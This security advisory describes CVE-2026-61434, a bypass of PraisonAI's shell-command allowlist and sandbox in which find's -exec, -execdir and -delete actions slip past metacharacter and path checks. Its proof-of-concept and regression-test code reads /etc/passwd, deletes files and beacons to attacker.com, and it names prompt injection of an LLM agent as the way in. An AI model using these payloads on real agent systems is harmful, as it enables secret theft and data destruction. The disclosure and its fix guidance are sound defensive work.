CVE-2026-61434: PraisonAI Shell Command Allowlist Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-cv3g-hj65-pcfh
CVSS 8.8
CWE-78 CWE-693
Published
Advisory Summary

CVE-2026-61434 is a HIGH (CVSS 8.8) shell command allowlist bypass vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves shell command allowlist bypass via find -exec built-in action. Remediation is available by upgrading affected packages to version 4.6.78.

CVE-2026-61434 at a Glance

CVE Identifier CVE-2026-61434
GHSA Identifier GHSA-cv3g-hj65-pcfh
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-61434

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.78
pip install praisonai>=4.6.78
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-61434, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.78), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action. The fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each). ### Details **Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked. However, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts): ``` find /path -exec <command> {} + ``` The `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex. **Affected components** (4 implementations, same gap): | # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist | | 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` | | 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` | | 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` | **Bypass analysis**: | Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result | |---|---|---| | Metachar regex `/[;|&\`><]/` | `{`, `}`, `+` are not in regex | PASS | | Regex `/\$\([^)]*\)/` | No `$(...)` | PASS | | `safeCommands.includes('find')` | `find` IS in allowlist | PASS | | SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS | | `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS | The `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string. **Preconditions**: | Precondition | How attacker obtains | Default? | |---|---|---| | Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | `find` binary on target | Standard Unix utility, present on Linux/macOS | Y | | `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y | ### PoC **1. Data exfiltration via -execdir (utility-tools.ts)** ```javascript const { shell } = require('praisonai/dist/tools/utility-tools'); async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true // Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc(); ``` Code path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: "<passwd contents>"}`. **2. File deletion** ```javascript await shell('find /app/uploads -name "*.bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted ``` **3. Non-allowlisted command (side-effect based)** ```javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero ``` **4. Python safe_shell** ```python from praisonai.cli.features.safe_shell import safe_execute result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ... ``` ### Impact An attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves: - **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned) - **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0) - **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code) Shell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc. Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833. ### Suggested fix **Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix. **Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags. **Regression tests**: ```typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false); }); ``` ### References - GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)

CVE-2026-61434 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.78
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
< 4.6.78
4.6.78

References

Frequently Asked Questions

What is CVE-2026-61434?
CVE-2026-61434 is a security vulnerability in PraisonAI involving Shell command allowlist bypass via find -exec built-in action under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.78 across affected packages: praisonai.
What version fixes CVE-2026-61434?
Upgrading to 4.6.78 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.78. Upgrade your dependency to 4.6.78 or later.
What is the CVSS score of CVE-2026-61434?
CVE-2026-61434 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-61434?
CVE-2026-61434 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-61434?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cv3g-hj65-pcfh",
  "modified" : "2026-10-08T22:00:55Z",
  "published" : "2026-10-08T22:00:55Z",
  "aliases" : [ "CVE-2026-61434" ],
  "summary" : "PraisonAI: Shell command allowlist bypass via find -exec built-in action",
  "details" : "### Summary\n\nThe shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action.\n\nThe fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).\n\n### Details\n\n**Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked.\n\nHowever, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts):\n\n```\nfind /path -exec <command> {} +\n```\n\nThe `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex.\n\n**Affected components** (4 implementations, same gap):\n\n| # | Component | File | Gap |\n|---|---|---|---|\n| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist |\n| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` |\n| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` |\n| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` |\n\n**Bypass analysis**:\n\n| Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result |\n|---|---|---|\n| Metachar regex `/[;|&\\`><]/` | `{`, `}`, `+` are not in regex | PASS |\n| Regex `/\\$\\([^)]*\\)/` | No `$(...)` | PASS |\n| `safeCommands.includes('find')` | `find` IS in allowlist | PASS |\n| SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS |\n| `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS |\n\nThe `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string.\n\n**Preconditions**:\n\n| Precondition | How attacker obtains | Default? |\n|---|---|---|\n| Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |\n| `find` binary on target | Standard Unix utility, present on Linux/macOS | Y |\n| `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y |\n\n### PoC\n\n**1. Data exfiltration via -execdir (utility-tools.ts)**\n\n```javascript\nconst { shell } = require('praisonai/dist/tools/utility-tools');\n\nasync function poc() {\n    // Control: direct 'wget' is rejected (not in safeCommands)\n    const control = await shell('wget http://example.com');\n    console.log('[CONTROL] rejected:', !control.success);  // true\n\n    // Bypass: find -execdir reads /etc/passwd via find's built-in action\n    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');\n    console.log('[BYPASS]:', bypass.success);  // true\n    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...\n}\npoc();\n```\n\nCode path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: \"<passwd contents>\"}`.\n\n**2. File deletion**\n\n```javascript\nawait shell('find /app/uploads -name \"*.bak\" -delete');\n// -delete is a find built-in — clean exit 0, files deleted\n```\n\n**3. Non-allowlisted command (side-effect based)**\n\n```javascript\nawait shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');\n// HTTP request fires as side effect before find returns non-zero\n```\n\n**4. Python safe_shell**\n\n```python\nfrom praisonai.cli.features.safe_shell import safe_execute\n\nresult = safe_execute(\"find /etc -name passwd -maxdepth 1 -execdir cat {} +\")\nprint(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...\n```\n\n### Impact\n\nAn attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:\n\n- **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned)\n- **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0)\n- **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code)\n\nShell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc.\n\nSame severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.\n\n### Suggested fix\n\n**Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix.\n\n**Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags.\n\n**Regression tests**:\n```typescript\ntest('rejects find -exec', async () => {\n    expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);\n});\ntest('rejects find -execdir', async () => {\n    expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);\n});\ntest('rejects find -delete', async () => {\n    expect((await shell('find /app -name \"*.bak\" -delete')).success).toBe(false);\n});\n```\n\n### References\n\n- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)\n- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)\n- Fix commits: 2adfe7e, 2f9677a (2026-06-13)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cv3g-hj65-pcfh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61434"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-before-allowlist-bypass-via-find-exec"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T22:00:55Z",
    "nvd_published_at" : null
  }
}